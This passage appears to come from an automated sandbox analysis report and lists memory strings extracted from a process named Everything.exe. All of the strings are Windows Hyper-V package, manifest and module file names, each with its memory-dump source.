Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TMicrosoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mum
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-m..apinabout.resources_31bf3856ad364e35_10.0.19041.1_en-us_d314f4eb3925c8b5
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat
Source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2342771150.0000000005881000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V.Types.ps1xmlF
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-o..oyment-languagepack_31bf3856ad364e35_10.0.19041.1_en-gb_0544b95dbde97edc.manifest1
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-hyper-v-firewallrules_31bf3856ad364e35_10.0.19041.1_none_89d7babee737651c.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WHyperV-Compute-Host-VirtualMachines-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Zamd64_microsoft-hyper-v-bpa.resources_31bf3856ad364e35_10.0.19041.1_en-us_168291f09487ebd5
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mamd64_microsoft-hyper-v-m..t-remotefilebrowser_31bf3856ad364e35_10.0.19041.746_none_6fbcad1699b89a67.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jamd64_microsoft-hyper-v-vstack-synthfcvdev_31bf3856ad364e35_10.0.19041.1741_none_b365912b94b35a98.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-d..ers-vmswitch-common_31bf3856ad364e35_10.0.19041.1_none_e5de88ec9eb30808.manifest/C
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-m..lebrowser.resources_31bf3856ad364e35_10.0.19041.1_en-us_4373d0692dcd3a06.manifest)
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-vstack-vmms_31bf3856ad364e35_10.0.19041.2006_none_ab6b7b2814133920.manifest'#
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YHyperV-Compute-Host-VirtualMachines-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mum
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ZMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mum
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: XHyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-m..-client.snapinabout_31bf3856ad364e35_10.0.19041.1_none_43a9017744e82ca8.manifesty
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Disabled-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1766.mumP
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Disabled-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1766.cat
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TMicrosoft-Hyper-V-Hypervisor-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Vamd64_microsoft-hyper-v-vhd-parser_31bf3856ad364e35_10.0.19041.1_none_34b87765e20dcc15
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TMicrosoft-Hyper-V-Hypervisor-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1.mumY
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-bpa.resources_31bf3856ad364e35_10.0.19041.1_en-us_168291f09487ebd5.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMicrosoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: namd64_microsoft-hyper-v-p..e-merged-deployment_31bf3856ad364e35_10.0.19041.1415_none_36f742b3b56a2468.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eamd64_microsoft-hyper-v-i..ationcomponents-rdv_31bf3856ad364e35_10.0.19041.1741_none_b62736d427ac1a0c
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-drivers-hypervisor-bcd_31bf3856ad364e35_10.0.19041.1_none_cbb2f6c087e55fc0.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Ramd64_microsoft-hyper-v-hgs_31bf3856ad364e35_10.0.19041.1741_none_1bf0e7c12b78479b
Source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2342771150.0000000005881000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V.Format.ps1xmlh
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^amd64_microsoft-hyper-v-sysprep-provider_31bf3856ad364e35_10.0.19041.789_none_111728dc239a85e2
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Microsoft-Hyper-V-Package-base-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmdebug.dll!
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V.psd1R
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Microsoft-Hyper-V-Online-Services-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1741.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-i..nents-rdv.resources_31bf3856ad364e35_10.0.19041.1_en-us_b3d1ef0d088d6955.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Tamd64_microsoft-hyper-v-kmclr_31bf3856ad364e35_10.0.19041.1889_none_46e4953b6f70cc79
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YMicrosoft-Hyper-V-Hypervisor-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxml4
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [amd64_microsoft-hyper-v-vstack-config_31bf3856ad364e35_10.0.19041.928_none_d35bf07ab5380c24
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: famd64_microsoft-windows-hyper-v-vfpext_31bf3856ad364e35_10.0.19041.1741_none_7543ca68a11c7040.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \amd64_microsoft-hyper-v-storvsp_31bf3856ad364e35_10.0.19041.1_none_cb2cd273f2fa3722.manifestG
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aHyperV-Compute-System-VirtualMachine-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mum
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-k..erformance-counters_31bf3856ad364e35_10.0.19041.1_none_e0127aac1cc27b15.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [amd64_microsoft-hyper-v-passthru-parser_31bf3856ad364e35_10.0.19041.1_none_d7dfb451bd621127
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-o..oyment-languagepack_31bf3856ad364e35_10.0.19041.1_en-gb_e16d8a57f6edf359.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YHyperV-Compute-Host-VirtualMachines-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"t
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _amd64_microsoft-hyper-v-ram-parser_31bf3856ad364e35_10.0.19041.1_none_a7bb53746630ebd3.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YMicrosoft-Hyper-V-Package-base-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1415.mume
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.488.cat
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: XHyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.mumB
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aHyperV-Compute-System-VirtualMachine-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-m..lebrowser.resources_31bf3856ad364e35_10.0.19041.1_en-us_4373d0692dcd3a06
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-f..wallrules.resources_31bf3856ad364e35_10.0.19041.1_en-us_4d711034023df04d.manifest]$
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: damd64_microsoft-hyper-v-vstack-debug_31bf3856ad364e35_10.0.19041.1741_none_78a9b11b7a3cc41b.manifest
Source: Everything.exe, 00000014.00000003.2336839781.00000000052E1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V.xsd$
Source: Everything.exe, 00000014.00000003.2357458657.000000000071B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2336084286.000000000071B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Disabled-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.catw
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WHyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.488.mum
Source: Everything.exe, 00000014.00000003.2336839781.00000000052E1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-VReplicaMetadata_v1.xsd6
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hamd64_microsoft-hyper-v-vstack-vdev-offline_31bf3856ad364e35_10.0.19041.1_none_92013f260f9b1b7b.manifestj
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-pvhd-parser.resources_31bf3856ad364e35_10.0.19041.1_en-us_0ccb9f4751718744.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-k..erformance-counters_31bf3856ad364e35_10.0.19041.1_none_31900babde4397db.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Zamd64_microsoft-hyper-v-winhv_31bf3856ad364e35_10.0.19041.1_none_93cc37f483916b61.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-hyper-v-h..rvisor-host-service_31bf3856ad364e35_10.0.19041.1_none_2246f2e6f0441379
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.mum
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YMicrosoft-Hyper-V-Hypervisor-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mumh
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^amd64_microsoft-hyper-v-winsock-provider_31bf3856ad364e35_10.0.19041.867_none_b57fce26790eec13
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gamd64_microsoft-hyper-v-management-clients_31bf3856ad364e35_10.0.19041.1_none_a87cce111f2d21d5.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-v..edstorage.resources_31bf3856ad364e35_10.0.19041.1_en-us_8e6d1518accc0bf5.manifesti
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: damd64_microsoft-hyper-v-vstack-config_31bf3856ad364e35_10.0.19041.928_none_d35bf07ab5380c24.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Zamd64_microsoft-hyper-v-vstack-vmms_31bf3856ad364e35_10.0.19041.2006_none_ab6b7b2814133920q
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _Microsoft-Hyper-V-Offline-Core-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1741.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: famd64_microsoft-hyper-v-hypervisor-events_31bf3856ad364e35_10.0.19041.1_none_642b49da78e510c8.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UMicrosoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.mum
Source: Everything.exe, 00000014.00000003.2344012623.00000000059F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmci.catA-
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: damd64_microsoft-hyper-v-passthru-parser_31bf3856ad364e35_10.0.19041.1_none_d7dfb451bd621127.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-d..-netsetup.resources_31bf3856ad364e35_10.0.19041.1_en-us_299ac5951a49c2de
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-v..edstorage.resources_31bf3856ad364e35_10.0.19041.1_en-us_8e6d1518accc0bf5
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aMicrosoft-Hyper-V-Offline-Core-Group-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^HyperV-Feature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1766.cat
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UMicrosoft-Hyper-V-Online-Services-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TMicrosoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: XMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1766.mum
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-vstack-debug.resources_31bf3856ad364e35_10.0.19041.1_en-us_5ee8ada67d246bda
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-vstack-vmwp.resources_31bf3856ad364e35_10.0.19041.1_en-us_369e8b635061fdb3.manifest`
